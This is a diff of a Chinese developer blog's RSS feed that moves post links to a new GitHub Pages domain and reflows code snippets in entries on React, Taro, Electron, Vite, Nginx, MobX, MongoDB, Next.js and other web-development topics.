+const hello = require(&#39;../hello&#39;) it(&#39;should &#39;, () =&amp;gt; { expect(hello()).toBe(&#39;hello world&#39;) }) package.json
+{ &amp;quot;scripts&amp;quot;: { &amp;quot;test&amp;quot;: &amp;quot;jest&amp;quot; } } 执行测试
 yarn test或者npm run test
 exspect() //运行结果
 toBe() //期待的结果
@@ -1713,19 +1713,19 @@ toBeGreaterThanOrEqual(6) //判断结果是否大于等于6</description>
     
     <item>
       <title>React进阶学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/94/</link>
+      <link>https://chenjunlinabc.github.io/posts/94/</link>
       <pubDate>Fri, 03 Sep 2021 12:00:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/94/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/94/</guid>
       <description>react16是Facebook在2017年发布的react版本，几乎对react底层进行重写，但是对外API不变，因此可以无缝转移到react16
 render返回类型
 除了只能返回单个元素外，react16支持返回字符串和数组（由react元素组成）
 例如：
-render(){
return[
&amp;lt;div&amp;gt;hallo&amp;lt;/div&amp;gt;,
&amp;lt;div&amp;gt;word&amp;lt;/div&amp;gt;
]
}
或者
-render(){
return &amp;quot;hallo word&amp;quot;
}
错误处理
+render(){ return[ &amp;lt;div&amp;gt;hallo&amp;lt;/div&amp;gt;, &amp;lt;div&amp;gt;word&amp;lt;/div&amp;gt; ] } 或者
+render(){ return &amp;quot;hallo word&amp;quot; } 错误处理
 react16引入了新的错误处理机制，当组件发生错误，将会将其从组件树中卸载，避免引起整个应用的崩溃
 当然也提供了更友好的处理方式，叫错误边界，这个会捕获子组件的错误，并且输出错误日志和出错提示，例如：
-componentDidCatch(error, info){
console.log(error,info)
}
Portals
+componentDidCatch(error, info){ console.log(error,info) } Portals
 React16的Portals特性可以将组件渲染到当前组件树以外的DOM树上，例如弹框
 ReactDOM.createPortal(child, container)
 第一个参数是可以被渲染的react节点，第二个参数是dom元素，react节点将会被挂载到该DOM元素上
@@ -1743,15 +1743,15 @@ yarn add react-markdown
 导入
 import ReactMarkdown from &amp;lsquo;react-markdown&amp;rsquo;
 测试
-let markdown =
&amp;quot;**这是加粗的文字**\n\n&amp;quot; +
&amp;quot;*这是倾斜的文字*`\n\n&amp;quot; +
&amp;quot;***这是斜体加粗的文字***\n\n&amp;quot; +
&amp;quot;~~这是加删除线的文字~~ \n\n&amp;quot; +
&amp;quot;`console.log(111)` \n\n&amp;quot; +
&amp;quot;``` var a=11; ```&amp;quot;;
&amp;lt;ReactMarkdown source={markdown} escapeHtml={false} children={markdown}/&amp;gt;
</description>
+let markdown = &amp;quot;**这是加粗的文字**\n\n&amp;quot; + &amp;quot;*这是倾斜的文字*`\n\n&amp;quot; + &amp;quot;***这是斜体加粗的文字***\n\n&amp;quot; + &amp;quot;~~这是加删除线的文字~~ \n\n&amp;quot; + &amp;quot;`console.log(111)` \n\n&amp;quot; + &amp;quot;``` var a=11; ```&amp;quot;; &amp;lt;ReactMarkdown source={markdown} escapeHtml={false} children={markdown}/&amp;gt; </description>
     </item>
     
     <item>
       <title>Taro框架学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/92/</link>
+      <link>https://chenjunlinabc.github.io/posts/92/</link>
       <pubDate>Tue, 31 Aug 2021 12:15:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/92/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/92/</guid>
       <description>Taro是京东凹凸实验室推出的一个框架，设计目的是多端统一开发解决方案，一次开发，多端运行
 Taro可以使用React/Vue等前端框架开发的，当然typescript肯定是支持
 Taro官方文档：https://taro-docs.jd.com/taro/docs/README
@@ -1777,15 +1777,15 @@ ReactNative yarn dev:rn
 编译完成的端源码在dist目录下
 作为一个可以使用react规范开发的框架，React Hooks和jsx也是支持的
 Taro组件化（Taro可以使用react开发，因此也具备react的组件化功能）
-import Taro, { useState } from &#39;@tarojs/taro&#39;
import { View, Text } from &#39;@tarojs/components&#39;
import &#39;./index.less&#39;
function Main(){
const [count ,setUserName] = useState(&amp;quot;hallo word&amp;quot;)
return ( &amp;lt;View&amp;gt;
&amp;lt;Text&amp;gt;{count}&amp;lt;/Text&amp;gt;
&amp;lt;/View&amp;gt;
)
}
export default Main
子组件</description>
+import Taro, { useState } from &#39;@tarojs/taro&#39; import { View, Text } from &#39;@tarojs/components&#39; import &#39;./index.less&#39; function Main(){ const [count ,setUserName] = useState(&amp;quot;hallo word&amp;quot;) return ( &amp;lt;View&amp;gt; &amp;lt;Text&amp;gt;{count}&amp;lt;/Text&amp;gt; &amp;lt;/View&amp;gt; ) } export default Main 子组件</description>
     </item>
     
     <item>
       <title>Taro脚手架学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/92/</link>
+      <link>https://chenjunlinabc.github.io/posts/92/</link>
       <pubDate>Tue, 31 Aug 2021 12:15:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/92/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/92/</guid>
       <description>Taro是京东凹凸实验室推出的一个脚手架，设计目的是多端统一开发解决方案，一次开发，多端运行
 Taro可以使用React/Vue等前端框架开发的，当然typescript肯定是支持
 Taro官方文档：https://taro-docs.jd.com/taro/docs/README
@@ -1811,10 +1811,10 @@ import { View, Text } from &#39;@tarojs/components&#39; function Data(){ return
     
     <item>
       <title>简单利用Electron框架开发桌面端应用</title>
-      <link>https://xiaochenabc123.github.io/posts/91/</link>
+      <link>https://chenjunlinabc.github.io/posts/91/</link>
       <pubDate>Wed, 25 Aug 2021 12:00:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/91/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/91/</guid>
       <description>Electron是由github开发的开源框架，允许开发者使用web技术构建跨平台的桌面应用
 GUI由Chromium提供，底层通过Nodejs提供，Native API提供桌面端和跨平台的原生功能
 Visual Studio Code和Atom都是使用Electron开发的，可以说技术很成熟
@@ -1834,16 +1834,16 @@ var BrowserWindow = electron.BrowserWindow
 声明主窗口
 var mainWindow = null
 设置参数
-app.on(&#39;ready&#39;,()=&amp;gt;{
mainWindow = new BrowserWindow({
// 设置窗口大小
width:500,
height:500,
webPreferences:{
nodeIntegration: true
// 是否集成node
}
}) mainWindow.loadFile(&#39;index.html&#39;) // 指定窗口加载那个页面
mainWindow.on(&#39;closed&#39;,()=&amp;gt;{
mainWindow = null
// 监听销毁事件，事件触发关闭主窗口，设置为null
})
})
初始化
+app.on(&#39;ready&#39;,()=&amp;gt;{ mainWindow = new BrowserWindow({ // 设置窗口大小 width:500, height:500, webPreferences:{ nodeIntegration: true // 是否集成node } }) mainWindow.loadFile(&#39;index.html&#39;) // 指定窗口加载那个页面 mainWindow.on(&#39;closed&#39;,()=&amp;gt;{ mainWindow = null // 监听销毁事件，事件触发关闭主窗口，设置为null }) }) 初始化
 npm init &amp;ndash;yes</description>
     </item>
     
     <item>
       <title>Markdown基础语法笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/88/</link>
+      <link>https://chenjunlinabc.github.io/posts/88/</link>
       <pubDate>Wed, 18 Aug 2021 16:50:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/88/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/88/</guid>
       <description>Markdown是一个标记语言，常用于编写文档
 标题
 一级标题 二级标题 三级标题 四级标题 五级标题 六级标题 分别对别h1到h6
@@ -1875,10 +1875,10 @@ xxx xxx yyy yyy yyy yyy :-表示左对齐，-:表示右对齐，:-:表示居中
     
     <item>
       <title>简单使用Vite-前端构建工具</title>
-      <link>https://xiaochenabc123.github.io/posts/87/</link>
+      <link>https://chenjunlinabc.github.io/posts/87/</link>
       <pubDate>Wed, 18 Aug 2021 14:20:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/87/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/87/</guid>
       <description>Vite是由 Vue.js 的作者尤雨溪开发完成的一款前端项目构建工具，使用原生ESM文件，支持热重载
 Vite在法语中的意思为快速的
 基于原生 import 的，使用浏览器来解析import，服务端按需编译返回，支持热更新模块
@@ -1918,16 +1918,16 @@ npm install
 Vite是一个构建工具的高阶封装（生产环境打包用Rollup来构建），开发环境无需要打包编译（利用现代浏览器的原生ESM来进行导入模块，模块加载的工作由浏览器完成，实现冷启动），支持动态模块热重载（HMR），开发环境的编译通过Esbuild来完成
 Vite生产环境构建（也就是Rollup）是根据browserslist来做浏览器兼容性的，需要通过修改vite.config.ts下的build.target来指定构建目标，Vite最低支持es2015，也就是es6，需要es5以及更多浏览器可能无法正常运行或者通过@vitejs/plugin-legacy插件来获取支持（注意：使用该插件也不能让vue3支持ie11，只有vue2支持ie11）
 安装@vitejs/plugin-legacy
-yarn add @vitejs/plugin-legacy -d
配置vite.config.ts
-import legacy from &#39;@vitejs/plugin-legacy&#39;
.</description>
+yarn add @vitejs/plugin-legacy -d 配置vite.config.ts
+import legacy from &#39;@vitejs/plugin-legacy&#39; .</description>
     </item>
     
     <item>
       <title>简单使用Nginx</title>
-      <link>https://xiaochenabc123.github.io/posts/85/</link>
+      <link>https://chenjunlinabc.github.io/posts/85/</link>
       <pubDate>Wed, 18 Aug 2021 12:50:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/85/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/85/</guid>
       <description>Nginx是目前web服务器占比第一（在https://w3techs.com 中可以看到Nginx占比33.1%）
 Nginx支持静态资源提供服务，支持高并发，热部署，反向代理，缓存，负载均衡等功能，Nginx使用BSD许可证开源（允许修改Nginx源码来重新发布一个商业用途的（例如Tengine））
 Nginx由Nginx二进制可执行文件，Nginx.conf，access.log，error.log组成
@@ -1967,10 +1967,10 @@ user root; # nginx运行用户 worker_processes auto; # nginx进程数，一般
     
     <item>
       <title>简单使用Nginx HTTP服务器软件</title>
-      <link>https://xiaochenabc123.github.io/posts/85/</link>
+      <link>https://chenjunlinabc.github.io/posts/85/</link>
       <pubDate>Wed, 18 Aug 2021 12:50:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/85/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/85/</guid>
       <description>Nginx是目前web服务器占比第一（在https://w3techs.com 中可以看到Nginx占比33.1%）
 Nginx支持静态资源提供服务，支持高并发，热部署，反向代理，缓存，负载均衡等功能，Nginx使用BSD许可证开源（允许修改Nginx源码来重新发布一个商业用途的（例如Tengine））
 Nginx由Nginx二进制可执行文件，Nginx.conf，access.log，error.log组成
@@ -2005,15 +2005,15 @@ apt install nginx
 检查是否安装完毕
 nginx -v
 nginx配置文件nginx.conf解读，一般在/etc/nginx下
-user root; # nginx运行用户
worker_processes auto; # nginx进程数，一般会设置和CPU核数一致
error_log /www/wwwlogs/nginx_error.</description>
+user root; # nginx运行用户 worker_processes auto; # nginx进程数，一般会设置和CPU核数一致 error_log /www/wwwlogs/nginx_error.</description>
     </item>
     
     <item>
       <title>SVN版本控制系统学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/84/</link>
+      <link>https://chenjunlinabc.github.io/posts/84/</link>
       <pubDate>Wed, 11 Aug 2021 15:00:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/84/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/84/</guid>
       <description>SVN全名Subversion，即版本控制系统
 和Git不同，Git是分布式，而SVN是集中式
 在commit没有冲突的时候，会合并
@@ -2052,10 +2052,10 @@ svn commit -m &amp;ldquo;hello svn&amp;rdquo;</description>
     
     <item>
       <title>简单使用Ant Design组件库</title>
-      <link>https://xiaochenabc123.github.io/posts/82/</link>
+      <link>https://chenjunlinabc.github.io/posts/82/</link>
       <pubDate>Tue, 10 Aug 2021 23:03:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/82/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/82/</guid>
       <description>Ant Design是蚂蚁金服技术沉淀出一套基于React的组件库和前端框架
 官网：https://ant.design/index-cn
 使用create-react-app初始项目
@@ -2071,15 +2071,15 @@ yarn add antd
 yarn create react-app antd-demo-ts &amp;ndash;template typescript
 Antd的样式使用了less作为开发语言
 第一个实例demo
-import &#39;antd/dist/antd.css&#39;;
import { DatePicker, Space } from &#39;antd&#39;;
ReactDOM.render(
&amp;lt;Space direction=&amp;quot;vertical&amp;quot;&amp;gt;
&amp;lt;DatePicker/&amp;gt;
&amp;lt;/Space&amp;gt;,
document.getElementById(&#39;root&#39;),
); </description>
+import &#39;antd/dist/antd.css&#39;; import { DatePicker, Space } from &#39;antd&#39;; ReactDOM.render( &amp;lt;Space direction=&amp;quot;vertical&amp;quot;&amp;gt; &amp;lt;DatePicker/&amp;gt; &amp;lt;/Space&amp;gt;, document.getElementById(&#39;root&#39;), ); </description>
     </item>
     
     <item>
       <title>Svelte学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/80/</link>
+      <link>https://chenjunlinabc.github.io/posts/80/</link>
       <pubDate>Mon, 09 Aug 2021 22:50:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/80/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/80/</guid>
       <description>Svelte的核心思想在于通过静态编译减少框架运行时的代码量
 Svelte风格和vue相似，模板用{}来表示
 Svelte的特点就是没有虚拟DOM（像Vue和React都是用虚拟DOM的）
@@ -2088,18 +2088,18 @@ npx degit sveltejs/template demo
 yarn
 yarn dev
 修改src\App.svelte和src\main.js
-&amp;lt;script&amp;gt;
let name = &#39;world&#39;
&amp;lt;/script&amp;gt;
&amp;lt;h1&amp;gt;Hello {name}!&amp;lt;/h1&amp;gt;
导入组件
-import Hallo from &#39;./hallo.svelte&#39;
...
&amp;lt;Hallo/&amp;gt;
如果想将HTML渲染到组件中可以使用 let string = &amp;lt;div&amp;gt;hallo word&amp;lt;/div&amp;gt; {@html string}
+&amp;lt;script&amp;gt; let name = &#39;world&#39; &amp;lt;/script&amp;gt; &amp;lt;h1&amp;gt;Hello {name}!&amp;lt;/h1&amp;gt; 导入组件
+import Hallo from &#39;./hallo.svelte&#39; ... &amp;lt;Hallo/&amp;gt; 如果想将HTML渲染到组件中可以使用 let string = &amp;lt;div&amp;gt;hallo word&amp;lt;/div&amp;gt; {@html string}
 事件响应
-function aClick() {
count += 1
}
...
&amp;lt;button on:click={aClick}&amp;gt;{count}&amp;lt;/button&amp;gt; </description>
+function aClick() { count += 1 } ... &amp;lt;button on:click={aClick}&amp;gt;{count}&amp;lt;/button&amp;gt; </description>
     </item>
     
     <item>
       <title>算法学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/79/</link>
+      <link>https://chenjunlinabc.github.io/posts/79/</link>
       <pubDate>Mon, 09 Aug 2021 20:36:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/79/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/79/</guid>
       <description>虽然学过java和Python，但是还是JavaScript比较熟练，因此算法学习全部用JavaScript来写
 算法不会被程序语言所限制，也不会一个实现只有一个算法
 常见数据结构（数组，列表，映射，堆栈，队列，哈希表，树，图）
@@ -2115,36 +2115,36 @@ O(1): Constant Complexity: Constant 常数复杂度 O(log n): Logarithmic Comple
 保证有序数组中的元素是不重复的，也就是说不存在重复的元素
 有序数组中重复的肯定是挨着的，只需要遍历数组全部的元素，前面和后面进行比较，如果相同则删除后面的
 例如：
-let arr = function(nums) {
if(nums == null || nums.length == 0){
return 0
}
let b = 0
for(let a=0;a&amp;lt;nums.length;a++){
if(nums[b]!=nums[a]){
nums[++b] = nums[a]
}
}
return ++b
}
b作为覆盖，a作为查询，当b的值不等于a查询到的值时，b++的值等于a的值，等于的时候b不改变，当不相等再等于到b上</description>
+let arr = function(nums) { if(nums == null || nums.length == 0){ return 0 } let b = 0 for(let a=0;a&amp;lt;nums.length;a++){ if(nums[b]!=nums[a]){ nums[++b] = nums[a] } } return ++b } b作为覆盖，a作为查询，当b的值不等于a查询到的值时，b++的值等于a的值，等于的时候b不改变，当不相等再等于到b上</description>
     </item>
     
     <item>
       <title>Mobx学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/78/</link>
+      <link>https://chenjunlinabc.github.io/posts/78/</link>
       <pubDate>Sun, 08 Aug 2021 21:35:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/78/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/78/</guid>
       <description>Mobx是一个状态管理库（状态管理实质上就是在管理数据变化）
 Mobx通过透明的函数响应式编程使得状态管理变得简单和可扩展
 Mobx状态管理是基于观察者模式的（Mobx6.0移除了修饰器）
 安装Mobx
-npm install mobx mobx-react --save
或者
-yarn add mobx mobx-react --save
导入
-import {observable, autorun, computed, action, makeObservable,reaction,when} from &amp;quot;mobx&amp;quot;
import {observer} from &amp;quot;mobx-react&amp;quot;
注意：在严格模式中，是不允许在action之外改变状态的
+npm install mobx mobx-react --save 或者
+yarn add mobx mobx-react --save 导入
+import {observable, autorun, computed, action, makeObservable,reaction,when} from &amp;quot;mobx&amp;quot; import {observer} from &amp;quot;mobx-react&amp;quot; 注意：在严格模式中，是不允许在action之外改变状态的
 启动严格模式
-import {configure} from &#39;mobx&#39;
configure({enforceActions: true})
observable定义可观察的状态 action修改状态（动作） computed计算值
+import {configure} from &#39;mobx&#39; configure({enforceActions: true}) observable定义可观察的状态 action修改状态（动作） computed计算值
 数据变化可被观察，例如：
-let appdata = observable([1,2,3,4,5])
console.log(appdata[1])
appdata = observable({a:1,b:2,c:3})
console.log(appdata.a)
appdata.a += 1
console.log(appdata.a)
appdata = observable.box(100)
console.log(appdata)
响应式对象
+let appdata = observable([1,2,3,4,5]) console.log(appdata[1]) appdata = observable({a:1,b:2,c:3}) console.log(appdata.a) appdata.a += 1 console.log(appdata.a) appdata = observable.box(100) console.log(appdata) 响应式对象
 makeObservable（手动配置observable，action，computed）
-const store = makeObservable({ count: 666, get double(){
return this.count * 2
},
increment(){
this.</description>
+const store = makeObservable({ count: 666, get double(){ return this.count * 2 }, increment(){ this.</description>
     </item>
     
     <item>
       <title>简单认识HTTP协议</title>
-      <link>https://xiaochenabc123.github.io/posts/77/</link>
+      <link>https://chenjunlinabc.github.io/posts/77/</link>
       <pubDate>Sun, 08 Aug 2021 17:02:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/77/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/77/</guid>
       <description>HTTP（HyperText Transfer Protocol）中文叫超文本传输协议，从中文名就知道是传输html文件或者其他超文本文件的
 HTTP是基于TCP/IP协议来传输数据的
 访问http服务器可以直接通过ip或者域名（域名其实是解析到ip的，实际上还是访问ip），通过web服务器提供的端口来进行请求或者响应
@@ -2208,10 +2208,10 @@ http常见状态码
     
     <item>
       <title>MongoDB学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/76/</link>
+      <link>https://chenjunlinabc.github.io/posts/76/</link>
       <pubDate>Sun, 08 Aug 2021 14:20:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/76/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/76/</guid>
       <description>MongoDB是一个以键值对存储数据的数据库（基于json描述数据，实质上是一个叫BSON的数据格式，BSON是基于二进制字节流，json基于文本）
 MongoDB是No SQL家族的成员之一，No SQL一般指的是非关系型数据库（Not only SQL）
 关系型数据库和Excel表格类似，表与表之间存在着复杂的关联关系，例如MySQL，sql server
@@ -2261,10 +2261,10 @@ db.createCollection(&amp;ldquo;test&amp;rdquo;, { capped : true, autoIndexId : t
     
     <item>
       <title>NextJS学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/74/</link>
+      <link>https://chenjunlinabc.github.io/posts/74/</link>
       <pubDate>Sat, 07 Aug 2021 23:26:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/74/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/74/</guid>
       <description>NextJS是一个用于生产环境的react框架，可以提供服务器端渲染等等功能
 服务端渲染（ssr）：后端调用数据库获取数据后，将数据和页面元素进行组合成完整的DOM结构，再返回给浏览器，提供给用户浏览
 SPA：
@@ -2279,7 +2279,7 @@ yarn init
 在scripts下加添加
 &amp;ldquo;dev&amp;rdquo; : &amp;ldquo;next&amp;rdquo;, &amp;ldquo;build&amp;rdquo;: &amp;ldquo;next build&amp;rdquo;, &amp;ldquo;start&amp;rdquo;: &amp;ldquo;next start&amp;rdquo;
 创建个js文件
-function Hallo(){
return(
&amp;lt;div&amp;gt;hallo next.js&amp;lt;/div&amp;gt;
)
}
export default Hallo
yarn dev调试
+function Hallo(){ return( &amp;lt;div&amp;gt;hallo next.js&amp;lt;/div&amp;gt; ) } export default Hallo yarn dev调试
 如果浏览器输出正确则配置成功
 通过create-next-app脚手架创建项目
 npm install create-next-app -g
@@ -2293,15 +2293,15 @@ yarn create-next-app demo
 yarn dev
 访问http://localhost:3000/，正常显示网页则配置正常
 编程式跳转
-import Link from &amp;quot;next/link&amp;quot;
&amp;lt;Link href=&amp;quot;/&amp;quot;&amp;gt;&amp;lt;a&amp;gt;返回&amp;lt;/a&amp;gt;&amp;lt;/Link&amp;gt;
Link不支持直接加兄弟标签，起码要有一个父级标签</description>
+import Link from &amp;quot;next/link&amp;quot; &amp;lt;Link href=&amp;quot;/&amp;quot;&amp;gt;&amp;lt;a&amp;gt;返回&amp;lt;/a&amp;gt;&amp;lt;/Link&amp;gt; Link不支持直接加兄弟标签，起码要有一个父级标签</description>
     </item>
     
     <item>
       <title>深入学习vuejs</title>
-      <link>https://xiaochenabc123.github.io/posts/75/</link>
+      <link>https://chenjunlinabc.github.io/posts/75/</link>
       <pubDate>Sat, 07 Aug 2021 23:25:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/75/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/75/</guid>
       <description>Vue CLI是vue官方脚手架，可以快速创建vue项目
 安装vue-cli3
 npm install -g @vue/cli
@@ -2324,15 +2324,15 @@ npm run serve
 yarn start/yarn run dev
 如果运行报错error Component name &amp;ldquo;Home&amp;rdquo; should always be multi-word vue/multi-word-component-names
 只需要在vue.config.js添加lintOnSave: false配置，例如：
-module.exports = defineConfig({
transpileDependencies: true,
lintOnSave: false
})
这个问题的原因在于vue-cli默认开启了ESLint检测，关闭就好了</description>
+module.exports = defineConfig({ transpileDependencies: true, lintOnSave: false }) 这个问题的原因在于vue-cli默认开启了ESLint检测，关闭就好了</description>
     </item>
     
     <item>
       <title>gulp学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/73/</link>
+      <link>https://chenjunlinabc.github.io/posts/73/</link>
       <pubDate>Fri, 06 Aug 2021 20:52:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/73/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/73/</guid>
       <description>gulp.js是一个基于流(stream)的自动化构建工具，是开源的JavaScript自动化工具，基于node.js和npm的构建工具，可以处理压缩代码，合并代码，压缩图片，编译less等等任务
 全局安装gulp
 npm install &amp;ndash;global gulp-cli
@@ -2359,21 +2359,21 @@ gulp.dest() // 执行完任务的文件最后在哪里
 gulp.watch() // 监测文件是否发生变化
 gulp.task()其中有两个参数，分别是任务名称和一个回调函数
 例如：
-let gulp = require(&amp;quot;gulp&amp;quot;);
gulp.task(&amp;quot;test&amp;quot;, function() {
return console.log(&amp;quot;hallo gulp&amp;quot;);
});
执行test任务（在终端，应用根目录下）
+let gulp = require(&amp;quot;gulp&amp;quot;); gulp.task(&amp;quot;test&amp;quot;, function() { return console.log(&amp;quot;hallo gulp&amp;quot;); }); 执行test任务（在终端，应用根目录下）
 gulp test</description>
     </item>
     
     <item>
       <title>简单利用backdrop-filter属性实现效果</title>
-      <link>https://xiaochenabc123.github.io/posts/65/</link>
+      <link>https://chenjunlinabc.github.io/posts/65/</link>
       <pubDate>Fri, 06 Aug 2021 10:18:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/65/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/65/</guid>
       <description>backdrop-filter是css原生的属性
 backdrop-filter的一些方法（用法和filter一样）
 blur：模糊 brightness：亮度 contrast：对比度 invert：反相 opacity：透明度 saturate：饱和度 drop-shadow：投影 grayscale：灰度 hue-rotate：色调变化 sepia：褐色
 简单实现一个毛玻璃背景效果，例如：
-&amp;lt;style&amp;gt;
*{
margin: 0;
padding: 0;
}
#app{
width: 100%;
height: 50rem;
background-image: url(&amp;quot;1.jpg&amp;quot;);
}
#test{
position: absolute;
top: 0;
left: 0;
right: 0;
bottom: 0;
backdrop-filter: blur(10px);
}
.text{
padding-top: 100px;
text-align: center;
}
&amp;lt;/style&amp;gt;
&amp;lt;div id=&amp;quot;app&amp;quot;&amp;gt;
&amp;lt;div id=&amp;quot;test&amp;quot;&amp;gt;
&amp;lt;p class=&amp;quot;text&amp;quot;&amp;gt;
hallo word
&amp;lt;/p&amp;gt;
&amp;lt;/div&amp;gt;
&amp;lt;/div&amp;gt;
backdrop-filter和filter区别：
+&amp;lt;style&amp;gt; *{ margin: 0; padding: 0; } #app{ width: 100%; height: 50rem; background-image: url(&amp;quot;1.jpg&amp;quot;); } #test{ position: absolute; top: 0; left: 0; right: 0; bottom: 0; backdrop-filter: blur(10px); } .text{ padding-top: 100px; text-align: center; } &amp;lt;/style&amp;gt; &amp;lt;div id=&amp;quot;app&amp;quot;&amp;gt; &amp;lt;div id=&amp;quot;test&amp;quot;&amp;gt; &amp;lt;p class=&amp;quot;text&amp;quot;&amp;gt; hallo word &amp;lt;/p&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/div&amp;gt; backdrop-filter和filter区别：
 filter是作用于当前元素（效果体现在本身，而不是背景），而且后代也会继承该属性
 backdrop-filter是作用于当前元素背后的所有元素，不会影响自己
 backdrop-filter兼容性没有filter优秀（目前低版本浏览器和IE，火狐都不支持该属性）</description>
@@ -2381,24 +2381,24 @@ backdrop-filter兼容性没有filter优秀（目前低版本浏览器和IE，火
     
     <item>
       <title>深入学习React</title>
-      <link>https://xiaochenabc123.github.io/posts/63/</link>
+      <link>https://chenjunlinabc.github.io/posts/63/</link>
       <pubDate>Sun, 25 Jul 2021 12:00:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/63/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/63/</guid>
       <description>setState()
 注意：如果调用多次setState()，但是还是只触发一次重新渲染（性能优化，如果每更新一次状态就渲染一次的话，很影响性能）
 setState()是异步更新数据的，因此setState()不要依赖于前面的setState()，因为其不会立刻更新数据
 如果当前setState()依赖于前面的setState()，解决方法：
-this.setState((state, props) =&amp;gt;{
return{
count: state.count + 1
}
})
console.log(this.state.count)
this.setState((state, props) =&amp;gt;{
return{
count: state.count + 1
}
})
console.log(this.state.count)
state和props参数分别获取到最新的state和最新的props，通过回调函数返回值，保证每次都获取到最新的state和props
+this.setState((state, props) =&amp;gt;{ return{ count: state.count + 1 } }) console.log(this.state.count) this.setState((state, props) =&amp;gt;{ return{ count: state.count + 1 } }) console.log(this.state.count) state和props参数分别获取到最新的state和最新的props，通过回调函数返回值，保证每次都获取到最新的state和props
 如果想在状态更新后（页面完成重新渲染）立刻执行某个操作，那么可以使用setState()的第二个参数，这个参数是一个回调函数
 例如：
-this.setState((state, props) =&amp;gt;{
return{
count: state.count + 1
}
},() =&amp;gt; {
console.log(this.state.count)
})
可以看出 console.log(this.state.count)会在状态更新后被执行，因此可以获取到更新后的count值
+this.setState((state, props) =&amp;gt;{ return{ count: state.count + 1 } },() =&amp;gt; { console.log(this.state.count) }) 可以看出 console.log(this.state.count)会在状态更新后被执行，因此可以获取到更新后的count值
 因此setState()一定会改变状态，但是不会立刻更新，而是当页面渲染完毕了（状态更新完毕之后）才会更新
 jsx语法的转化
 jsx实质上还是createElement()方法的语法糖（简化），因为jsx语法最后还是会编译（@babel/preset-react插件）成createElement()方法
 而createElement()方法也会被转换为js对象（ReactElement），用来描述页面上显示的内容，因此不管是jsx还是createElement()最后都会转换为js对象（ReactElement），ReactElement然后通过虚拟DOM实现DOM创建和更新
 例如：
-const Abc = (
&amp;lt;div&amp;gt;hallo&amp;lt;/div&amp;gt;
)
console.log(Abc)
可以看到输出返回的是一个js对象
+const Abc = ( &amp;lt;div&amp;gt;hallo&amp;lt;/div&amp;gt; ) console.log(Abc) 可以看到输出返回的是一个js对象
 React.createElement()接收3个参数，type（表示标签或者组件），config（对象，表示组件的所有属性），children（对象，表示组件之间的嵌套关系）
 组件更新机制
 setState()的作用：修改state，更新组件
@@ -2415,25 +2415,25 @@ state只存储和组件渲染相关的数据，例如列表数据，而不用来
     
     <item>
       <title>JavaScript知识扩展</title>
-      <link>https://xiaochenabc123.github.io/posts/61/</link>
+      <link>https://chenjunlinabc.github.io/posts/61/</link>
       <pubDate>Sun, 18 Jul 2021 22:35:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/61/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/61/</guid>
       <description>函数被调用时，浏览器会传递两个参数，this和arguments
 this就是函数的上下文对象，而arguments是一个数组对象（也就是可以通过索引来操作数据），函数调用时传递的参数会在arguments中保存
 callee属性对应着当前的函数
 例如：
-function abc(){
console.log(arguments.length);
console.log(arguments[0]);
console.log(arguments.callee);
console.log(this)
}
abc(&#39;hallo&#39;);
BOM对象 (Browser Object Model) 是指浏览器对象模型
+function abc(){ console.log(arguments.length); console.log(arguments[0]); console.log(arguments.callee); console.log(this) } abc(&#39;hallo&#39;); BOM对象 (Browser Object Model) 是指浏览器对象模型
 该对象提供了浏览器行为和浏览器属性方法
